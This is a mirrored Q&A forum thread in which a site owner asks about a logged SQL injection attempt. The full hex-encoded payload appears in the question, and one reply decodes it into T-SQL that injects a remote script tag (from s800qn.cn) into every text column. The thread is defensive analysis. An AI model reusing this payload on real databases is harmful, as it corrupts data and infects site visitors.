尝试 SQL 注入攻击 - 他们想做什么?

发布于 2024-07-06 11:37:29 字数 1558 浏览 3 评论 0原文

我有一个面向公众的网站,在过去几周内收到了大量 SQL 注入攻击。 我专门使用参数化存储过程,因此我相信没有成功攻击,但最近的日志显示了一种有趣的技术:

为了清晰起见添加了换行符

http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20@S%20CHAR(4000);SET 
@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263 
686172283430303029204445434C415245205461626C655F437572736F7220435552534F 
5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F
626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69 
6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72 
20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970 
653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420 
46524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528 
404046455443485F5354415455533D302920424547494E20657865632827757064617465 
205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C 
736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373 
7273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077 
6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73 
6372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F637372 
73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854 
2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043 
4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43
7572736F72 AS CHAR(4000));EXEC(@S);&_X="

任何人都可以阐明吗“CAST 和 EXEC”正在尝试做什么?

I have a public facing website that has been receiving a number of SQL injection attacks over the last few weeks. I exclusively use parameterised stored procedures so I believe that there has been no successful attacks, but a recent log showed an interesting technique:

Line breaks added for clarity

http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20@S%20CHAR(4000);SET 
@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263 
686172283430303029204445434C415245205461626C655F437572736F7220435552534F 
5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F
626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69 
6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72 
20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970 
653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420 
46524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528 
404046455443485F5354415455533D302920424547494E20657865632827757064617465 
205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C 
736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373 
7273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077 
6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73 
6372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F637372 
73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854 
2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043 
4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43
7572736F72 AS CHAR(4000));EXEC(@S);&_X="

Can anyone shed light on what the "CAST and EXEC" is attempting to do?

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(6

¢蛋碎的人ぎ生 2024-07-13 11:37:29

下面是他们试图推送的已解码 SQL:

DECLARE @T varchar(255),
        @C varchar(4000) 

DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name
FROM sysobjects a,syscolumns b 
WHERE a.id=b.id 
AND a.xtype='u' 
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 

OPEN Table_Cursor FETCH NEXT 
FROM Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
  BEGIN exec('update ['+@T+'] SET ['+@C+']=''"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''+['+@C+'] WHERE '+@C+' NOT like ''%"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''')
  FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END CLOSE Table_Cursor 

DEALLOCATE Table_Cursor

Below is the decoded SQL that they were trying to push:

DECLARE @T varchar(255),
        @C varchar(4000) 

DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name
FROM sysobjects a,syscolumns b 
WHERE a.id=b.id 
AND a.xtype='u' 
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 

OPEN Table_Cursor FETCH NEXT 
FROM Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
  BEGIN exec('update ['+@T+'] SET ['+@C+']=''"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''+['+@C+'] WHERE '+@C+' NOT like ''%"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''')
  FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END CLOSE Table_Cursor 

DEALLOCATE Table_Cursor
〆凄凉。 2024-07-13 11:37:29

该代码从十六进制解密为字​​符时,似乎会遍历所有数据库表,选择所有文本/字符类型的列,并在该类型的每个值的末尾添加来自 http 的恶意脚本执行://www2.s800qn.cn/csrss/w.js。 现在,如果在您的网站中,至少有一个地方无法转义从数据库检索到的文本数据,则您网站的用户将在他们的计算机上执行此恶意脚本。

The code, when decyphered from hex into chars, seems to go through all your database tables, select all columns that are of text/char type, and at the end of each value of this type add a malicious script execution from http://www2.s800qn.cn/csrss/w.js. Now if in your website, you have at least one place where you don't escape text data retrieved from your database, your site's users will have this malicious script executed on their machines.

作死小能手 2024-07-13 11:37:29

例如在 mysql 中运行这个:

select CAST(0x44...72 AS CHAR(4000)) as a;

你就会知道。 以实玛利粘贴了代码。

这是一个 SQLserver 蠕虫,而不是有针对性的攻击。

Run this, for example in mysql:

select CAST(0x44...72 AS CHAR(4000)) as a;

and you'll know. Ishmaeel pasted the code.

This is a SQLserver worm, not a targeted atatck.

随遇而安 2024-07-13 11:37:29

我想我们以前也遭遇过这样的袭击。 它尝试在数据库中每个表的每个字段中插入

I think we've had this attack before. It's trying to insert a <script> tag in every field in every table in the database.

沒落の蓅哖 2024-07-13 11:37:29

这是一个广告软件投放程序脚本,旨在通过页面上显示的

大多数类似的事情都是随机尝试攻击,因为它们会使用查询字符串攻击任何内容,但它可能是有针对性的攻击。 测试您的站点以确保它不会让查询字符串中的任何 SQL 执行。 仅使用参数化查询就可以满足您的需求。

It's an adware-dropper script, built to clog up your database with <script> tags that show up on your pages. It's encoded because most servers would explode if you tried to push that junk through the URL.

Most things like this are random-attempt-attacks in that they'll hit anything with a querystring but it might be a targeted attack. Test your site to make sure it's not letting any SQL from querystrings execute. Just using parametrised queries should cover you.

花落人断肠 2024-07-13 11:37:29

解密十六进制代码的最简单的 Python 算法是这样的:

text = "4445434C415245204054207661726368617228323535292C404..."

def getText():
    for i in range(0, len(text), 2):
        byte = text[i:i+2]
        char = int(byte, 16)
        toPrint = chr(char)
        yield toPrint

print ''.join(getText())

The simplest Python algorithm to decypher the hex code is this:

text = "4445434C415245204054207661726368617228323535292C404..."

def getText():
    for i in range(0, len(text), 2):
        byte = text[i:i+2]
        char = int(byte, 16)
        toPrint = chr(char)
        yield toPrint

print ''.join(getText())
~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文